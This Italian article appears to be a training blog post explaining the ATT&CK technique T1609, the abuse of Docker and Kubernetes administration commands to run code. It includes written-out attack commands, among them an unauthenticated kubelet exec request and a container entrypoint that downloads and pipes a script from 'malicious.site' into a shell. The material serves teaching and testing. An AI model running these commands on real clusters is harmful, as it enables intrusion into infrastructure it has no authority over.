Container Administration Command: Abuso dei Servizi di Gestione Container (T1609)

L'abuso dei comandi di amministrazione container rappresenta una tecnica sofisticata che permette agli attaccanti di eseguire codice malevolo all'interno di ambienti containerizzati. Questa metodologia sfrutta i servizi legittimi di gestione come Docker daemon, Kubernetes API server o kubelet per ottenere execution remota.

La tecnica si posiziona nella tattica TA0002 (Execution) della kill chain, rappresentando il momento cruciale in cui l'attaccante riesce a far girare il proprio codice all'interno dell'infrastruttura target. L'impatto è significativo: 1 gruppo APT documentato, 4 software malevoli identificati e 5 mitigazioni raccomandate dimostrano la rilevanza di questa minaccia nel panorama cloud-native.

Gli attaccanti possono specificare entrypoint malevoli durante il deployment dei container o utilizzare comandi come docker exec e kubectl exec per eseguire comandi in container già in esecuzione. In ambienti Kubernetes, con permessi sufficienti, l'accesso può avvenire tramite interazione diretta con l'API server o il kubelet.

Per testare la resilienza della tua infrastruttura container, inizia verificando i permessi disponibili. In Docker, puoi eseguire comandi arbitrari con:

docker exec -it [container_id] /bin/bash

Se hai accesso a Kubernetes, il comando equivalente diventa:

kubectl exec -it [pod_name] -- /bin/bash

TeamTNT ha dimostrato l'efficacia di questa tecnica eseguendo Hildegard attraverso l'API kubelet con chiamate dirette. Per replicare questo approccio, puoi utilizzare curl contro l'endpoint kubelet non autenticato:

curl -k https://[kubelet_ip]:10250/run/[namespace]/[pod]/[container] -d "cmd=whoami"

Il tool Peirates automatizza molti di questi attacchi. Una volta installato, puoi enumerare i pod disponibili e ottenere shell interattive con pochi comandi. La catena d'attacco tipica prevede discovery iniziale, privilege escalation attraverso service account tokens, e infine execution tramite kubectl o API dirette.

Per simulare l'approccio di Kinsing, crea un container Ubuntu con entrypoint malevolo:

docker run -d --entrypoint="/bin/sh" ubuntu:latest -c "curl http://malicious.site/script.sh | sh"

Siloscape dimostra un approccio più sofisticato utilizzando canali IRC per inviare comandi kubectl a cluster vittima. Questo richiede prima la compromissione di un nodo, poi l'escalation per ottenere credenziali cluster-admin.

Ricorda di testare sempre in ambienti isolati e autorizzati. L'obiettivo è identificare configurazioni deboli come kubelet esposti senza autenticazione, RBAC permissivi, o container running as root.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Scarica la guida gratuita e segui il percorso corretto fin dal primo passo